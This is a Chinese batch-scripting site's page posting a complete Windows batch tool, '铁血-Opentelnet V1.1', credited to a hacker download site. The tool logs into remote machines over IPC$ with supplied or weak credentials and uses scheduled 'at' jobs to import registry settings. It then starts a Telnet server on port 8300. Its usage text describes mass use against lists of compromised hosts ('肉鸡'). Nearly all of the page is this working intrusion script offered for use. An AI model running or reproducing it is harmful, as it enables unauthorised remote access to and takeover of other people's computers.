- ·上一篇文章:BAT命令查询和命令验证工具
- ·下一篇文章:if中gtr的特殊应用
- ·百度中搜索更多的关于“开telnet的批处理”相关内容
- ·谷歌中搜索更多的关于“开telnet的批处理”相关内容
- ******申明******
- 本站文章内容有部分为收录网络中其他网友内容,DOS资源站不保证所有的代码都适合你使用。
- 由于编辑匆忙,有可能造成某些脚本文件出现丢失代码或代码无法运行的情况,请网友根据情况自行修改。
- 如果能将出错部分反馈给我,那就更好了。
开telnet的批处理
代码如下
@echo off&title DOS资源站 www.cmdos.net
color 3e
cls
Rem ==========================以下是ipc.bat的内容====================================
echo @echo off >ipc.bat
echo echo 正在连接%%1... >>ipc.bat
echo echo. >>ipc.bat
echo net use \\%%1\ipc$ %%3 /user:%%2 ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo 正在查询%%1的当前时间 >>ipc.bat
echo echo. >>ipc.bat
echo net time \\%%1 /set /y ^& IF errorlevel 1 goto :Error >>ipc.bat
echo for /f "tokens=1,2 delims=:" %%%%i in ("%%time%%") do set /a hh=%%%%i ^& set /a mm=%%%%j >>ipc.bat
echo echo %%1当前时间为%%hh%%:%%mm%% >>ipc.bat
echo set /a mm=%%mm%%+1 >>ipc.bat
echo if /i %%mm%% geq 60 set /a mm=0 ^& set /a hh=%%hh%%+1 >>ipc.bat
echo if /i %%hh%% geq 24 set /a hh=0 >>ipc.bat
echo set tm=%%hh%%:%%mm%% >>ipc.bat
echo echo. >>ipc.bat
echo echo 设置启动telnet的时间为%%tm%% >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% net stop telnet ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo Windows Registry Editor Version 5.00 ^^^>telnet.reg ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] ^^^>^^^> telnet.reg ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo """NTLM"""=dword:00000001 ^^^>^^^>telnet.reg ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo """TelnetPort"""=dword:0000206C ^^^>^^^>telnet.reg ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tlntsvr] ^^^>^^^>telnet.reg ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo """Type"""=dword:00000010 ^^^>^^^>telnet.reg ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo """Start"""=dword:00000002 ^^^>^^^>telnet.reg ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo set /a mm=%%mm%%+1 >>ipc.bat
echo if /i %%mm%% geq 60 set /a mm=0 ^& set /a hh=%%hh%%+1 >>ipc.bat
echo if /i %%hh%% geq 24 set /a hh=0 >>ipc.bat
echo set tm=%%hh%%:%%mm%% >>ipc.bat
echo at \\%%1 %%tm%% regedit /s telnet.reg ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% cmd /c echo cls ^^^^^^^& echo ***************************铁血Telnet系统欢迎你******************************* ^^^> %%%%cd%%%%\login.cmd ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo at \\%%1 %%tm%% net start telnet ^& IF errorlevel 1 goto :Error >>ipc.bat
echo echo. >>ipc.bat
echo echo 最多再过120秒,telnet服务就会被启动,请稍侯... >>ipc.bat
echo goto :BYE >>ipc.bat
echo :Error >>ipc.bat
echo echo. >>ipc.bat
echo net use \\%%1\ipc$ /del /y >>ipc.bat
echo echo %%1出现错误,命令不能成功完成! >>ipc.bat
echo echo. >>ipc.bat
echo goto :exit >>ipc.bat
echo :BYE >>ipc.bat
echo echo. >>ipc.bat
echo net use \\%%1\ipc$ /del /y >>ipc.bat
echo echo %%1成功完成所有命令 >>ipc.bat
echo echo. >>ipc.bat
echo :exit >>ipc.bat
echo echo ------------------------------------------------------ >>ipc.bat
echo exit >>ipc.bat
Rem ======================================完======================================
if {%1}== {} goto Usage
if {%2}== {} goto File
if {%3}== {} goto Usage
if not {%3}== {} goto port
:Usage
cls
echo ======================================================
echo 铁血-Opentelnet V1.1
echo Download by 小凤居 ChineseHack.org
echo ======================================================
echo 完全用批处理写的远程开启telnet服务的工具,可自定义端口(默认端口为8300)。
echo 现在不依赖管理共享了。
echo 作者:铁血
echo 主页:http://txhak.myrice.com/
echo 邮箱:txhak@etang.com
echo QQ: 22540685
echo txtelnet.bat [IP] [用户名] [密码]
echo txtelnet.bat [肉鸡文件]
echo 如果指定肉鸡文件批处理将从文件中读取ip 用户名 密码
echo 肉鸡文件的文件格式为ip 用户名 密码。空格隔开。
echo 例1:txtelnet 192.168.0.2 user ""
echo 例2:txtelnet file.txt
echo 肉鸡文件格式如下(空格隔开):
echo 192.168.0.1 user ""
echo 192.168.0.2 administrator 123
echo 192.168.0.24 administrator admin
echo 注意:60秒后执行:c:^>telnet ip 8300
echo ------------------------------------------------------
goto :exit
:File
echo ======================================================
echo 铁血-Opentelnet V1.1
echo ======================================================
if not exist %1 goto Usage
for /f "tokens=1-3 delims= " %%i in (%1) do start /b /wait ipc.bat %%i %%j %%k
goto exit
:port
echo ======================================================
echo 铁血-Opentelnet V1.1
echo ======================================================
start /b /wait ipc.bat %1 %2 %3
:exit

